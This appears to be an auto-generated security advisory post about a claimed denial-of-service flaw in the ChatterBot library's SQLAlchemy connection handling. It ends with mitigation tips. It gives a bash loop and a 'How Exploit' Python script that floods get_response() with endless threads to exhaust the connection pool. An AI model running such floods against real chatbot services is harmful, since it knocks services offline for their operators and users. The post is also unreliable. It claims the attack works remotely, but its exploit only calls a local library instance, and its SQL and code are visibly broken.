Listen to this Post
This vulnerability exploits improper session management in ChatterBot’s SQLAlchemy integration. The `get_response()` method creates a database session but lacks proper concurrency controls or timely connection release. SQLAlchemy’s default `QueuePool` has a finite limit (typically 5 connections with a 10 overflow). When multiple threads concurrently call get_response(), each acquires a database connection. The connections are not immediately returned to the pool after use. A rapid burst of concurrent requests (e.g., 30+ threads) quickly consumes all available connections and the overflow pool. Once exhausted, the `QueuePool` blocks subsequent requests. These blocked requests wait for a connection to be released, but because the holding threads may also be in a state waiting for other operations, a deadlock-like scenario occurs. This results in a `TimeoutError` from SQLAlchemy. The pool remains exhausted, rendering the chatbot service completely unresponsive. Recovery requires a manual restart of the application, as the connections are not automatically reclaimed. The attack requires no authentication and can be performed remotely against an exposed chatbot endpoint.
Platform: ChatterBot
Version: <=1.2.10
Vulnerability: DoS
Severity: Critical
date: 2024-09-26
Prediction: 2024-11-15
What Undercode Say:
Simulate concurrent requests for testing pool limits
for i in {1..30}; do (python3 -c "
from chatterbot import ChatBot
bot = ChatBot('test')
print(bot.get_response('hello'))
" &) ; done
Monitor open database connections (Linux) lsof -p <APP_PID> | grep sqlite Or for PostgreSQL SELECT FROM pg_stat_activity WHERE application_name LIKE '%chatterbot%';
How Exploit:
import threading
from chatterbot import ChatBot
bot = ChatBot('target')
def exhaust():
while True:
try: bot.get_response('attack')
except: pass
[threading.Thread(target=exhaust).start() for _ in range(30)]
Protection from this CVE
- Upgrade library beyond v1.2.10.
- Implement a global request rate limiter.
- Use a web server (e.g., Gunicorn) with limited worker threads.
- Configure SQLAlchemy pool with `pool_pre_ping=True` and lower
pool_timeout. - Wrap `get_response()` calls with a semaphore to limit concurrency.
Impact:
- Persistent service downtime.
- Requires manual intervention/restart.
- Exploitable remotely, no auth.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
